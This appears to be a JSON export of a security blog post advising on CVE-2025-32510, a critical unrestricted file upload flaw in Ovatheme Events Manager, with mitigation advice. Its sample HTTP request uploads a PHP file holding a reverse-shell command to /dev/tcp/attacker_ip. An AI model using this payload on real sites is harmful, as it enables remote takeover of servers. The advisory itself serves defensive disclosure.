{"id":54401,"date":"2025-06-23T12:27:00","date_gmt":"2025-06-23T12:27:00","guid":{"rendered":""},"modified":"2025-07-06T23:20:24","modified_gmt":"2025-07-07T05:20:24","slug":"cve-2025-32510-critical-unrestricted-file-upload-vulnerability-in-ovatheme-events-manager","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-32510-critical-unrestricted-file-upload-vulnerability-in-ovatheme-events-manager\/","title":{"rendered":"CVE-2025-32510: Critical Unrestricted File Upload Vulnerability in Ovatheme Events Manager<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The existence of an unrestricted file upload vulnerability in ovatheme Ovatheme Events Manager has prompted the need for immediate attention and action. This vulnerability, designated as CVE-2025-32510, allows attackers to upload potentially malicious files, leading to severe security breaches. This issue is particularly concerning given the widespread usage of the Ovatheme Events Manager<\/a>, especially in the event management and scheduling industry. A successful exploitation can lead to a full system compromise or data leakage, thereby posing a significant threat to data integrity and system security<\/a>.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-32510
\nSeverity: Critical (CVSS: 10.0)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system<\/a> compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Ovatheme Events Manager | Up to 1.7.5<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit works by taking advantage of a lack of file type restrictions in the Ovatheme Events Manager’s file upload<\/a> functionality. An attacker can craft a malicious file, often disguised as an innocuous file type, and upload it to the system<\/a>. Once uploaded, the file can be executed, leading to varying levels of system<\/a> compromise. This may include gaining unauthorized access<\/a>, deploying malware, or leaking sensitive data.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of a malicious HTTP POST request exploiting the vulnerability<\/a>:<\/p>\n

POST \/upload\/ HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.php\"\nContent-Type: application\/x-php\n& \/dev\/tcp\/attacker_ip\/8080 0>&1'\"); ?>\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n
In this example, a malicious PHP file is uploaded to the vulnerable<\/a> endpoint. The PHP script within the file is designed to create a reverse shell, allowing the attacker to execute arbitrary commands<\/a> on the victim’s system.<\/p>\n
Countermeasures<\/strong><\/p>\n
It is recommended that users of the affected Ovatheme Events Manager<\/a> apply the vendor-released patch immediately. In cases where immediate patching is not feasible, it’s suggested to implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help detect and block malicious file upload<\/a> attempts, thereby providing a layer of protection against potential exploitation.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The existence of an unrestricted file upload vulnerability in ovatheme Ovatheme Events Manager has prompted the need for immediate attention and action. This vulnerability, designated as CVE-2025-32510, allows attackers to upload potentially malicious files, leading to severe security breaches. This issue is particularly concerning given the widespread usage of the Ovatheme Events Manager, especially […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-54401","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t